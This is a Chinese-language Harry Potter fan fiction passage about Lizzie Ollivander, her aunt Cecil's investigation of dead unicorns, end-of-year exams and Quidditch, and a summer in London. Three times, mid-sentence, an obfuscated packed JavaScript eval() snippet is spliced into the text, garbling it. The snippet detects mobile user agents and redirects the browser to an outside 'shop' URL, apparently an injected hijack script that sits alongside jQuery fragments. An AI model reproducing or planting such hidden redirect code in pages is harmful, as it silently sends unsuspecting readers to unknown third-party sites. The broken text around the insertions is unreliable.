对了,前两天去伦敦市里时帮你买了件百褶裙,麻瓜们的审美确实很好,我也买了两双皮鞋,是最近正流行的款式。 我下周五会去一趟霍格沃茨,那时候把裙子带给你,一年没见面了,不知道你是不是长高了。 希望你一切都好。 塞西尔 将信重新卷起来塞回背包里,莉兹又给班克喂了点吃的才出了猫头鹰棚屋,顺便还把剩下的一块喂给了伍德家那只脾气古怪的短耳鸮。 圣诞节以后她就很少收到塞西尔的来信了,所以傍晚收到的这份信让她的心情很不错,她花了半个晚上便写完了已经拖延了好几天的论文,其他人还在礼堂里在斯内普的监督下自习,她就起身将长长一卷论文交给了他,甚至还对着教授微笑着点了头,邻座的戴维斯抬头看了莉兹一眼,他觉得她大概是疯了。 走过格兰芬多的桌子,她把自己整理完厚厚一叠的算术占卜例题详解放在伍德手边,然后迈着轻快的脚步离开了礼堂。 莉兹的姑姑塞西尔·奥利凡德今年差不多三十岁,从霍格沃茨毕业以后在魔法部工作有十年了,一直就在神奇动物管理控制司,先前他们部门收到了匿名的举报,为了调查那条从天文塔被带走的龙,塞西尔私下追去了罗马尼亚和查理·韦斯莱见了一面。虽然在这中间有邓布利多替海格解释,加上她也不认为这件事真的违法,但是依法程序上总是要走一遍流程的。 福吉管理下的魔法部总是古板又守旧,塞西尔出发前还看到卢修斯·马尔福在和部门的上司在走廊里说悄悄话,她想起去年年底查龙蛋走私的时候马尔福就压下了一些消息想让这件事只走个过场便完结,这次却把鲁伯·海格拉出来承担责任,所以原本都准备合上档案不再管这件事的塞西尔才决定坐飞机去找查理。 好在她收集到的关于海格的说辞都能站得住脚,她整理了资料送到福吉的办公室,即便马尔福再有什么想法也是徒劳,她还见了那只叫诺伯的挪威脊背龙,它尚未习惯新的生活环境,暂时也不能送它回出生地,不过他们把它照顾得很好。 到了周五,中午的时候塞西尔先和海格在三把扫帚见了一面把事情从头至尾解释了一遍,并让他不要太担心,诺伯正在慢慢适应环境,但一个身材高大的混血巨人坐在酒吧角落的位置还趴在桌上流泪可不是什么有趣的场景,她安慰了好一会儿,海格才冷静下来。 她在霍格沃茨读书时他们就常见面,那时塞西尔会趁天没黑的时候偷偷去禁林里,海格很喜欢这个赫奇帕奇的姑娘,她不会害怕那些动物,也会帮他照顾它们。 而这次她会来霍格沃茨是因为收到了费伦泽的信,实际上人马本不屑与人类有任何多余的交流,但连邓布利多都说塞西尔是值得信任的人,所以才将他发现的事情详细写下来偷偷寄给了她,费伦泽在信中提到,他在禁林里发现了独角兽的尸体,这实在不是什么好兆头,况且他还将自己的猜想有理有据说了出来,也正是这个猜想让塞西尔决定尽快来一趟霍格沃茨。 “邓布利多教授是不是不在学校?”和海格在三把扫帚前分别的时候,她问道。 “啊……是这样,大概是正有什么事情在忙,我也不是很清楚。”海格说得有些吞吞吐吐的,他不是擅长撒谎的人。 不过塞西尔没有拆穿,她只是点了点头说一会儿她会自己去禁林的,接着便转身往学校去。 十一年前她曾带着一个秘密去找邓布利多,就在她知道雷古勒斯去世的第二天早上,当时她解释不了任何事情,无助地抓着邓布利多的手一遍又一遍地说他不是坏人,克利切来找她时她就猜到一定是发生了什么,但是这个家养小精灵宁可用头撞墙撞得满脸是血,却仍然什么话都不肯说。 ——雷古勒斯少爷命令克利切不可以和任何人提起,这都是少爷的命令,少爷只让克利切和塞西尔小姐说对不起,他不能遵守约定了。 “塞西尔,你愿意和我们一起面对伏地魔吗?”听完了塞西尔说的所有事,邓布利多开口。 “您需要我做什么?”一个十八岁的年轻人那一刻抬起了头,仅仅因为她永远相信自己最珍视的友人。 这些事塞西尔几乎从未和家人提过,包括那个至今都不愿同自己和解的哥哥,她在凤凰社里认识了很多人,隆巴顿夫妇的事情她不会比他知道得少,别人或许是为了一份大义投身了这场战役,塞西尔不会考虑这些看似庞大的话题,她只想为朋友做些什么。 莉兹和她约好了在训练场附近见面,因为下午是拉文克劳和赫奇帕奇的魁地奇训练时间,塞西尔远远看着在空中单手抱着球灵活飞行的莉兹,这让她不禁想起了自己的学生时代。 那会儿她对魁地奇完全提不起兴趣,哥哥的比赛也是一场都不看,每年的赛季大家都集中在球场时,她就一个人跑去禁林里,唯一看过的只有雷古勒斯当上队长以后对格兰芬多的那一场,也是在那天她看到他胳膊上的黑魔标志。 十六岁的男孩一脸欣喜地说他即将干成一番大事业,塞西尔攥着拳头,委屈又不解。 “可我也是混血。”她说。 “我只是想创造一个更好的世界,”雷古勒斯眼里有光,“并不是毁灭世界。” 或许那个人就是这样和所有天真的年轻人说的吧,塞西尔曾经这么安慰自己。 训练时就看到了姑姑,帕特里克刚一说大家可以休息了,莉兹飞到低空还没等落地就从扫帚上跳了下来,她丢开扫帚跑过去:“塞西尔!” 这一声呼唤把塞西尔从回忆中叫回了当下,莉兹很是热情地拥抱了她。 要不是刚刚和他们在一起训练的莉兹还和平时一样表情冷淡的话,塞德里克都快怀疑这个不是他认识的莉兹·奥利凡德了,帕特里克和戴维斯也很吃惊,只有秋一边弯腰捡起她的扫帚一边解释着说:“莉兹最近心情一直很好,她真的很喜欢她的姑姑。” 她们一路走到城堡外,塞西尔拿出裙子来给莉兹比了一下长度,这一年她长高了小半头,裙子刚好到膝盖,看起来很合适。 “暑假时我再带你看看麻瓜的集市,”塞西尔将裙子放回纸袋里给她,“特别有意思,还有很多旧玩具,我本想给你买只兔子摆件,不过我英镑没带够,买了裙子和鞋就用光了。” “这个暑假我要是能去你那儿住就好了,”莉兹抱着纸袋,“冬天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487802|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还能躲一躲,夏天的太阳真的太难熬了,虽然我知道妈妈肯定不会同意的。” “让我和米歇尔说说,给你争取一个星期吧。”塞西尔回道。 “太好了。”姑姑总是对她很好,莉兹又笑了。 虽然爸爸会说他这个妹妹是个没脑子的草包,被骗了还一心撞南墙。 但莉兹只记得她小时候爸爸工作很忙,妈妈没退役而且还对她很严厉,每次哭着从扫帚上摔下来的时候,摸着她的头说她很棒还给她吃太妃糖的人只有姑姑,哪怕是两三岁时胡乱用树枝做成的魔杖,塞西尔也会装作能够使用一样陪她玩。 大约是见她年纪小什么也不明白,塞西尔哄她睡觉时就会讲那些不能对别人讲的故事,她总是听得很认真,如果见姑姑红了眼,还会伸出小手摸摸她的脸说不哭。 姑姑说的话莉兹一直记在心里,在她眼里,塞西尔既坚决又自由,好像有着在乎的事情,却又好像什么都不在乎。 两个人一直聊到天快黑了莉兹才不舍地说了再见,见塞西尔转身迈开步子就往禁林的方向去,她开口道:“这次来霍格沃茨是发生了什么事吗?” “下次我再告诉你,”塞西尔迎着夕阳,笑容带着金色的光芒,“现在你的任务就是——享受你的时光,那么暑假见了,我亲爱的伊莉莎。” 翻开海格给的地图上标记的几个位置,塞西尔熟门熟路地在禁林中穿梭,独角兽的尸体都被用咒语保护着,她低下头为独角兽祈祷,接着才开始检查伤口和下手的方式,独角兽的血就算不施咒语也不会像普通的血液一样凝固,它们都是被活生生放血而亡的。 打开了手提箱,里面的空间用无痕伸展咒扩大了,塞西尔挥了挥魔杖处理完所有的独角兽,听到了背后有脚步声,谨慎地转过身,可什么人也没有看见。她在心里想,既然这个如此迫切地想要永生的人连诅咒都无法阻拦,又联系了费伦泽的预言,惊人的结论一瞬间出现了——“他”现在就在这里。 塞西尔几乎没有犹豫,她伏在箱子上给邓布利多写信,刚出林子便和海格借了只猫头鹰寄出去。 这边莉兹很快就回到了宿舍里,她仍然带着原先的好心情,玛丽埃塔和帕德玛主动说想看她试穿新裙子她都答应了,还在镜子前照了好一会儿,正巧这会儿秋带着一大包糖果回来,她一进门便袋子放在了莉兹的床上。 “看来又是那位格兰芬多的队长送来的吧,知道你喜欢吃甜食就一直送糖也太贴心了。”没等秋说话,玛丽埃塔就凑过去看上面的卡片。 莉兹眼疾手快,拿出魔杖便给卡片施了悬浮咒,这下谁也够不着了,她给每个人的床上都扔了一大把糖然后说道:“算数占卜这么难,木头先生总要给我付点补课费的。” “啊——你让我想起了下周就要开始考试了。”玛丽埃塔转身便趴倒在了床上。 “是啊,魔法史要考到二十章呢。”秋也皱起眉头。 一年级的帕德玛也叹了口气说:“魔药学的药剂我还没有制作成功过。” 最后莉兹收起了伍德的那张卡片,也躺在了床上,不过却不是为了期末考试惆怅,毕竟他们的最后一场魁地奇也在下周了。 *莉兹的名字写作Lizzie,其实全名应该是伊丽莎白Elizabeth,塞西尔叫的伊莉莎也是一种昵称Eliza,不过米歇尔觉得太长了后来上学时给她改成了Lizzie,现在家里只有塞西尔还习惯叫她Eliza了。 15. 老地方 普通巫师等级测试和终极巫师等级测试都如期而至,礼堂被用来给全体五年级还有部分七年级的学生们分批考试,整个霍格沃茨在那几天都被浸在一种紧张的氛围中。 不过作为一名此时还是三年级的拉文克劳的学生,莉兹的心思基本都在自己最后一门草药学的实践考试上,她平时倒是学什么都不吃力,虽然成绩不算拔尖,但也都说得过去,就这草药学让她有些头疼,因为她二年级时曾不小心碰到了毒触手的嫩芽,吃了很多苦头才消肿,所以很长一段时间她都不是很想靠近温室。 其实她挺关心伍德的算数占卜考试,听说维克多教授把难题几乎都放在了五年级的试卷里,而三四年级也就是莉兹前天考的那张卷子实在难度太低,考试开始还没二十分钟她就已经翻到了最后一面。 抱着从塞德里克那里借来的一本厚厚草药学操作指南,莉兹穿过中庭,此时钟声刚巧响起,这证明O.W.Ls和N.E.W.T所有的必修考试就彻底结束了。 负责监考最后一门的麦格教授左手拿着试卷,右手一挥魔杖,四张能容纳各个学院的学生的长桌哐当几声出现,礼堂便又恢复了原先的样子。 “你怎么样了,”帕特里特拍了拍垂头丧气走出礼堂的伍德的肩膀关心道,“幸好魔法史的题都是书里提到的,写起来很轻松。” 是不是拉文克劳的学生总是能这么轻描淡写地说一些令人头疼的话,伍德转过头用幽怨的眼神看着帕特里克,而这个人的表情还云淡风轻的,他可能真的觉得很容易,然而伍德却在一条关于妖精叛乱的论述题上足足卡了有十五分钟都没能写下一个字母。 两手拍了拍脸颊,他试图把多余的知识从脑子里丢出去腾给明天的选修考试,抬起头便对上了抱着书歪头看过来的莉兹的眼睛,其实伍德也不知道她是不是在看这个方向,那双银白色的眼睛太容易迷惑人了。 等到她真走到他面前了,伍德才确定刚刚她确实是在看这里。 “木头先生,我看你很困扰的样子,需要额外辅导吗?”她说,“今晚我也可以接受三次提问。” 虽然伍德很想说三十次大概都不够解释他所有的问题,但还是露出了感恩的表情。 “那一会儿老地方见。”莉兹挥了挥手,便朝着塔楼方向去了。 最近一个星期他们都约好在一块儿自习,就在训练场角落的那间空办公室里,每个魁地奇队长都有一把钥匙,因为他们会在那里开会,塞德里克一般也会过来,只是他大多时候都在趴着睡觉,要么就在翻杂志,毕竟他这个人平时学得就很扎实,复习对他来说没什么必要,不然莉兹也不会主动借他的笔记。 可是这晚怎么说也是最后一天了,被乱七八糟的数字算式打败的伍德长叹一口气扔下羽毛笔,墨水溅到了他的袖口。 “你不觉得你回宿舍更舒服吗?”他就差把羽毛笔丢塞德里克头上了。 “比起回宿舍睡觉被他们折磨,还是这里比较安静。”塞德里克送给伍德一个灿烂的笑容。 “是啊,这里只需要面对两个心理不平衡的人,而宿舍里却有一群。”莉兹仍然低头在认真地看那本操作指南,说话语调没有一点起伏,她调侃人时就总是如此。 “难得你们两个人能站在统一战线,”塞德里克总算是装模作样也打开一本书,“可是竟然是对付我,这可太让人伤心了。” “迪戈里,”莉兹微笑着,“你看的是我的《中世纪魔杖史》。” “多吸收知识准是没错的,罗伊纳女士说过,过人的智慧是人类最大的财富。”塞德里克总有办法让一切都听起来合理。 不准备再理睬完美先生的莉兹接过伍德递来的册子,一边看题目一边说着:“咳,你还有两次机会。” “能不能算半个,我就差最后一步了……”伍德指着上面的式子。 “不接受讲价,”莉兹三两下改掉他原先的步骤,用两行就解出了答案,“奥利弗,只要转个弯你就能见到终点了。” 不服输的伍德凑过来,盯住她用笔圈出的地方,只是他坐得太近了,莉兹抬眼便能看到他的睫毛,还有嘴边的绒毛,灯光下看着像透明的金棕色。 “那下面这条不是也……”伍德刚说了就又停下,“不行,这个不算,还是两次机会。”他说着便把册子拿回去开始奋笔疾书。 而莉兹默默团起刚刚写算式的草稿纸,十分精准地砸中了塞德里克的额头正中央,因为旁观的人笑得这样不知收敛是要承担后果的。 总而言之,尽管大家都各自带着各自的不安与紧张,这场兵荒马乱还是顺利落幕了,每门课的考试成绩要一段时间之后才会公布,而在那之前格兰芬多和拉文克劳仍有一场学期末的收官赛要打,对莉兹他们来说输赢基本没什么区别,学院的积分很是稳定,但伍德就指望着靠这次的加分摆脱垫底的名次了。 结果事实却是他先前通宵了两个晚上研究出的新战术,在考试刚刚结束的一夜间就成了泡影,他实在是想不到哈利会在这种时候受了重伤,而且还卧床不起,看着躺在病床上的人,他的心情很是焦躁,一边担心队友,一边忧心比赛。 庞弗雷夫人走进来,甩了两下手里的毛巾把他们魁地奇球队的人都赶了出去,她强调波特在醒来之前需要安静的休息。 弗雷德和乔治两个人同时在他耳边讲着他们从弟弟罗恩那里听来的故事,这里面肯定有不少双胞胎自己的加工,因为他们根本就没说明白为什么哈利会受伤,只讲了什么三头犬、魔鬼网还有巫师棋,因此听得云里雾里的伍德更愿意相信哈利是从楼梯上滚了下来,也很难相信这样离奇的经历。 “可是明天我们就要比赛了,”凯蒂低下头,“哈利会醒过来吗?” 大家突然都沉默了。 比起他们的手足无措,莉兹这里的训练氛围显得更放松更愉悦了,她和帕特里克甚至不再重新编排队形,放下扫帚坐在草地上开始研究早上便流传出来的那个巫师棋棋局,韦斯莱家的小兄弟只花几分钟内便破了这个局,听说这还是麦格教授的得意之作呢。 戴维斯特地从宿舍拿来了一副崭新的巫师棋,看起来从来没使用过的样子,秋和队里其他人也在边上坐下,大家都兴致高昂,天性使然,他们一定会忍不住尝试一切解谜。 “我明白了!”莉兹抬手让在说话的戴维斯安静下来,接着去移动皇后,“韦斯莱一定是看到了这一步。” “什么呀,我也想到了,”戴维斯哼了一声,“这有什么厉害的。” “你还想不想接着听了?”莉兹又看了他一眼。 帕特里克识相地从后面捂住戴维斯的嘴,然后点了点头说:“奥利凡德小姐,请指教。” 在莉兹第一个解开棋局之后,秋也和帕特里克一起用另一种走法破解了困局,最后一直被强行要求住嘴的戴维斯很是委屈地抱着巫师棋盘站起身,小声嘀咕说:“这可是我的棋呢。” “其实……”莉兹溜回宿舍前转头对他说,“一开始你的解法也是对的。” “我就知道!你们……”戴维斯的眼神瞬间又亮了起来,只是他正要对自己的棋艺进行一番赞美的时候队里其他人都三三两两走开了,有的推开大门进了宿舍,有的拿过了旁边的书在沙发上坐下开始阅读,有的则是指着施过魔法的天花板说金星可真亮啊。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487803|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拜托了梅林,这是中午,怎么可能看得到金星?”他愤懑地一跺脚。 隔天的魁地奇球场比想象中热闹,尤其是斯莱特林的学生们几乎全体出动来看比赛,帕特里克习惯性让大家围成圈,他又要说些听腻了的老话了,莉兹敷衍地点头应答,看着并不算高兴,虽然这可能会是她两年以来打的最轻松的比赛。 “哦——可怜的奥利弗——” “伟大的魁地奇之光救世主去哪里了呀——” “他不见了呀——哦——可怜的奥利弗——” 弗林特带着一众队员在观众席上开始给格兰芬多喝倒彩,一遍又一遍用奇怪的曲调唱着“可怜的奥利弗”,今天的裁判是麦格教授,她非常果断地给了斯莱特林的队员们一次警告:“如果你们继续干扰场内秩序,斯莱特林将被扣去五分。” 然后转身拍了拍伍德的肩膀,大约是个安慰。 莉兹留意到他们的队伍,原本是追球手的凯蒂暂时代替了哈利的位置,安吉丽娜在进攻能力上是不弱但挑大梁也会吃力,伍德正低头和双胞胎兄弟说着话,如果她的预想没错,乔治和弗雷德今天应该会尽量用游走球困住她,因为只要拉文克劳不进球,就算秋能又快又准地抓住金色飞贼,这场比赛的胜者也会是格兰芬多。 思考到这里,她立马叫住已经准备上场就位的队友,“我有一个想法……” 帕特里克很快就知道了莉兹的计划,让戴维斯和两个击球手都守在后防处,死死防住没了凯蒂配合的安吉丽娜,而她会守好秋的领域,争取让对方在一球不进的情况下便结束比赛。 “这样是不是太不近人情了一点?”他本来想说残忍的。 “我想做什么,奥利弗一定猜得到,”莉兹回头又看了一眼,“所以如果我不这么做,我想他会生气。” 和伍德认识以来,莉兹明白了一个道理,当你的朋友足够执拗又正直的时候,就请你正面接受所有挑战。 这场比赛进行到二十八分钟,双方仍然一球未进,而金色飞贼第一次出现在秋的左前方,乔治很快就发现了不对劲,和弗雷德一左一右飞过去堵秋,莉兹却瞬间补位将秋挤出两人之间,她灵活地翻转了一圈躲开鬼飞球,同时也吸引住了双胞胎的注意。 三十一分钟三十秒时,秋·张抓到了金色飞贼,比分零比一百五十分,拉文克劳拿下了比赛。 列队前莉兹跨过扫帚侧坐着停在半空,伍德在球门前,他们两个人看向彼此,她微微点头脸上露出了笑容,而他半是无奈又半是欣慰也笑了出来,他们果然都猜中了对方的想法。 期末的成绩单公布各有喜悲,听说帕特里克在黑魔法防御课的考试上失了手,这下他的傲罗之梦只好破碎,不过大家都觉得他可能更适合干点坐办公室的工作,比如去古灵阁打理账本,而伍德愁了半个学期的算术占卜竟然拿了高分,莉兹有塞德里克的笔记保驾护航,自然得到了斯普劳特教授的好评,至于完美先生迪戈里,一如既往的完美。 连年终宴会的学院杯评比也是一波三折,莉兹抬起头看着换新的红色和金色装饰,心想这比绿色可顺眼多了。 霍格沃茨的火车又停靠在了国王十字车站,帕蒂尔姐妹邀请她们一宿舍的同学暑假去康沃尔看海,而莉兹还没来得及回答就看到了在站口等待的塞西尔,连忙摆了摆手说了声再见。 穿着一双高筒的皮靴和修身的黑裙子,头上还扣了顶帽檐很短的小礼帽,如果不是她裙子侧袋那个印记一看就知道是魔杖的话,塞西尔看起来很像是伦敦市里时髦的年轻女郎。 “走,我们先去吃点儿好的。”她伸手接过了莉兹的行李箱,两个人并排往车站外走。 16. 快乐暑假 如果说非要让莉兹选出这个夏天里她最感谢的一件事,那一定是让大多数魁地奇迷都怨声载道的联赛积分改制,英联赛的客场比赛变多了,因此米歇尔在各地奔波的时间比从前都要长,自然也就找不出空闲监督女儿的练习,莉兹上一次收到妈妈的信的时候,米歇尔写到威尔士的找球手竟然能在主场飞得迷了路,他们两队人被困在施了咒的森林球场里足足有四天才重获自由。 想要和姑姑一起过暑假的愿望就这么轻而易举地实现了,何况她还有伍德做挡箭牌,什么魁地奇训练,全都见鬼去吧。 早晨莉兹推开二楼的窗户,塞西尔的房子就租在泰晤士河附近,站在窗口就能欣赏到河景,阳光好的时候天很蓝,她能坐在阳台看一整日的书都没人打扰。 平日里姑姑去上班前她们会一起吃房东太太烤好的羊角包,塞西尔很会煮咖啡,知道莉兹不喜欢苦味便会给她做加了香草酱的拿铁。到了周末有时会去西区看剧,穿着姑姑从前的连衣裙坐在观众席,台上的演员一边唱歌一边表演,这一切都很新奇,莉兹觉得相当有意思,谢幕时她激动得差点流了泪。 夜幕降临,街上有来往的行人,露天的酒吧亮了灯,塞西尔倚着路灯左手夹着一根烟,右手拿着纸杯装的啤酒,她的绿色眼影晕开了,眼神里就像装着昏黄的灯光一样。 莉兹被弹着吉他的流浪歌手吸引了目光,旁边的塞西尔笑了笑,仰头喝完了酒将烟丢进空纸杯里,弯腰在歌手面前的帽子里放下两个硬币,然后歪头对着她眨了眨眼睛说:“你会发现麻瓜们真的很擅长找乐子。” 看到姑姑放下了硬币,可莉兹口袋里没有英镑,她摸出了两个太妃棒棒糖,包装上的小人还在跳舞,稍微犹豫了一下,接着放下糖果并点头和对方说:“我觉得你唱得真不错。” 之后她们还去了塞西尔先前给她买裙子的集市,莉兹用在古灵阁换的零花钱给老奥利凡德先生买了个新的座钟,到整点里面会有一只金属制的天使弹出来,很是有趣,店里原先的钟都用了几十年了。不过为了让钟看起来不那么“麻瓜”,她拆开内芯,用圣诞节做礼物剩下的材料替换了内置的支架,这样报时的时候天使会转两圈,还会洒下金色的光斑。 “哦,这可真厉害,你怎么什么都会做?”这些小把戏也只有姑姑才会夸她。 合上座钟的盖子,莉兹用爷爷的话回答说:“因为木材可以呼吸,羽毛也有生命……” “虔诚的工匠赋予了价值,魔杖才会选择它的主人。”塞西尔接上了后半句,看着莉兹的表情又说,“我也是在那个店里长大的呀。” “其实我也不知道什么事情真的有价值,”莉兹盘腿坐在地板上,把摊开的魁地奇速报翻到英联赛的页面,看着新的俱乐部排名,普德米尔连胜了三场,终于把老对手压了下去,“看,米歇尔女士大获全胜!真没意思,好像生活里除了输就是赢。”她小声地说。 在姑姑面前莉兹常常表现出这种青春期小孩的小脾气,会说妈妈的坏话,也会说暑假作业真的很多,时不时提两句校队里的事情,比如老好人帕特里克真没用,戴维斯就是个草包,为什么秋的头发总是不会打结,安吉丽娜的个头长得真快,弗林特是不是留级了,我再也不想帮宿舍里的人打听塞德里克了,等等。 她谁都会说一说,就是不提伍德。 “你知道现在最有意义的是什么吗,”塞西尔抱着枕头说,“不要急着长大。” “小孩子也没有很幸福嘛。”莉兹耸了耸肩。 塞西尔笑了两声,向后在床上躺下,自言自语地说:“可是大人不快乐啊。” 隔天莉兹和伍德还有塞德里克下午约好了要去看一场比赛,不过中午的时候他们会先去对角巷,塞德里克说要拿他的草药学作业和她交换魔法史作业,而且暑假也没剩多久,她必须要回家了。 早上塞西尔上班前要骑着摩托车载她过去,这还是她假期里第一次坐这辆车,姑姑先前讲过她从一个乐队鼓手那里靠下棋赢来了一辆二手雅马哈[1],具体什么型号她倒是没记住,不过样子看起来很酷。 引擎用魔法改造过,外表看起来是烧普通的麻瓜汽油,但其实并不需要,虽然可以开启麻瓜隐身模式,但塞西尔还是自己去考了张驾照,同事们都对她的这辆车很是瞧不起,只有非法使用麻瓜用品办公室的韦斯莱先生很感兴趣。 起初塞西尔还以为他是来调查自己的,没想到他只是询问了一些如何改造机动车的事情,并夸赞她的摩托车真的很不错,前两日他还悄悄告诉她,说他在一辆福特车上装了新的推升引擎,准备之后试试能不能驾驶。 和塞西尔在查令十字街道别,莉兹背着包穿过破釜酒吧出了门就先跑去奥利凡德魔杖店,从学校回来还没和爷爷见过面,她推开门便扑上前和爷爷拥抱了一下,老奥利凡德难得见到孙女这样,想着大约是和塞西尔生活了一段时间,莉兹总算也变得活泼了些吧。 把买的新座钟从背包里拿出来放在了桌面上,莉兹给爷爷演示了她做出来的小东西,老奥利凡德很高兴地收下了礼物,转头说格里戈维奇先前寄来了很罕见的木料,准备之后要做一批新的魔杖。 “那我也可以做吗?”莉兹眨了眨眼睛。 “所以才会一直等到你回来啊,”老奥利凡德微笑着,“去吧去吧,你的朋友们在等你了。” 回过身去一看,塞德里克和伍德正站在魔杖店前凑着玻璃橱窗看着里面呢。 “不是约好中午见的吗,”莉兹走出门来,看着他们一脸狼狈仿佛刚刚经历过龙卷风的样子,皱着眉头问,“你们被打劫了?” “下学期的书单里不是多了好几本洛哈特的书吗,我想着今天反正要出门就一起买了,”塞德里克勉强整理了一下乱糟糟的衣领,解释说,“结果丽痕书店里三层外三层围着的全是人,我发誓我从来没见过书店里会有这么多人。” “这是有什么活动?”莉兹实在看不过去了,便伸手帮伍德把连帽衫的帽子翻出来。 “好像今天中午有签售会,我妈妈很早也来排队了,”伍德挠了挠头,“她还让我多拿两本洛哈特的自传,说要收藏。” “那既然时间还早……”莉兹犹豫了一下,“要不去我家坐坐,就隔了半条街。” 从前假期里很少有同学朋友到家里来,毕竟莉兹实在算不上是个性格热情的人,她看着桌上还没收拾的麦片碗和盘子,估计爸爸是刚去上班了,下午有比赛妈妈肯定已经到球场了,打开橱柜拿出顶上的茶具来,她便倚着料理台等水烧开。 六岁的时候就喜欢上普德米尔联队的伍德正压抑着兴奋的心情在客厅里转悠,墙上挂了很多照片,还有莉兹父母在拉文克劳球队时的合照,各种奖杯摆满了整个架子,他一个一个认真地看。 只有角落里有个小相框,是老奥利凡德先生抱着幼时的莉兹,看起来不过三岁的样子,黑色短发卷卷的,脸颊肉嘟嘟的,眼睛更是圆滚滚的,伍德回头又看了看现在的莉兹,她和小时候真是没什么变化。 啪的一声,莉兹放下茶壶茶杯,走过来把相框反扣下去。 “没什么好看的。”她说着把一颗方糖丢进自己的茶杯里。 “挺……挺好看的。”伍德支支吾吾说。 而已经迅速巡逻完整个一层的塞德里克,非常大方地在沙发上坐下,拿过一杯茶打趣说:“哇哦,我竟然在米歇尔选手的家里。” 莉兹挤出一个干巴巴的笑:“不过你可是塔特希尔的球迷,我们家米歇尔女士是你们死对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487804|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头了。” “我心胸宽广,不在意。”塞德里克回复了一个完美的微笑。 叹了一口气压根懒得再回他,莉兹把行李箱里厚厚一沓魔法史的作业拿出来:“能在书上找到的内容我都标注了,剩下的就是我自己写的,你如果照抄了让我们俩都被抓包,我就薅光你的头发。” 她说着从工具箱里拿出一把闪着冷光的剪刀,让伍德和塞德里克都抖了三抖,不过她只是拿出来修了修窗台上的绿萝。 接下来的两个小时,他们三个人各自占据了沙发的一个角落,莉兹正在思索草药的分类,伍德正在绞尽脑汁编写魔药课论文的结语,塞德里克正在来回翻阅厚厚的一本魔法史,因为她写出的每个点都太细节了。 这证明即便有的人在学校拿着几乎全优秀的好成绩,他们也躲不过在开学前一个星期补作业的命运,四年级的学生如是,六年级的学生同样是。 “我绝对有理由怀疑,”莉兹拿起伍德那篇论文,羊皮纸卷哗啦啦摊开垂到了地面,“斯内普教授肯定是被格兰芬多的学生剪过头发,不然怎么会布置一篇这么长的熬制复方汤剂的注意事项的论文。” “我觉得你今天似乎对头发很有执念。”塞德里克下意识护住自己的头。 “没什么,我就是想把这堆东西剃光很久了,”莉兹随手拿过一只铅笔插进头发里,甩了甩头,铅笔纹丝不动,她指着脑袋说,“这不是头发,就是堆草。” “听说头发短了冬天挺冷的。”赛德里克说着他们两个人就一起看向了留着平头的伍德。 “可以戴帽子。”伍德真是个老实人。 总而言之,在下午去看比赛之前,三个人都解决了关于暑假作业的遗留问题,莉兹熟门熟路地带着他们俩从普德米尔球场的后门进去,这让两个喜欢魁地奇的男孩高兴坏了,经过球员的更衣室时还碰见了正在做准备的选手,伍德还带着主场的球衣去签名,莉兹打了个呵欠在边上站着,偶尔和认出她的工作人员打个招呼。 而米歇尔见莉兹和朋友一起来了,便自顾自把三个人安排到家属位置了。 “梅林的胡子,这离得可真近!”旁边的伍德感慨道。 “那是塔克,”塞德里克直起身,“今天大名单里竟然有她!” “毕竟塔特希尔也没什么其他人了。”莉兹平静地说着。 “奥利凡德……”球迷的心思真是很好看透,塞德里克回头看了她一眼。 “但这里是普德米尔的家属席。”伍德倒是先回道。 看这两个人又斗嘴,莉兹想无论是多完美的人,在看球赛的时候都会露出最不完美的一面的,她对此深有体会,毕竟谁还不是个指点江山型球迷呢,哨声一响他们仨都得斗起来。 虽然度过了难得愉快轻松的暑假,不过莉兹还是在开学前被米歇尔严厉地批评了一番,主要原因是她的肚子因为吃了太多甜食而变得软绵绵,米歇尔一捏就知道女儿两个月都没有好好训练过,更不用提胳膊和小腿上不再明显的肌肉线条,一直到出发前一天莉兹都只能吃毫无味道的水煮鸡蛋和鸡胸肉。 闭上眼睛她梦里都能听见妈妈掐着表在旁边替她数数,“还有两组,不要停下来!” 在车站和秋碰见,莉兹无力地拖着行李箱和她嗨了一声。 “天呐你的脸色怎么这么差。”秋急忙走过来。 “我要回学校,我要吃饭。”莉兹瞪着一双无神的大眼睛。 “我帮你吧。”秋拿过她的扫帚,扶着她上了火车。 趴在桌上的莉兹听着火车行驶的声音,就像是听见了烤鸡、牛排、奶油挞、南瓜浓汤和太妃糖向她奔跑来的声音。 1.是YAMAHAXS650(这里设定是1980年产) 17. 一百四十三颗珍珠 听说格兰芬多走丢了两个二年级的学生,分院仪式结束后宴会开始,莉兹正坐在桌子旁埋头狼吞虎咽,仿佛对这件事毫不在意。 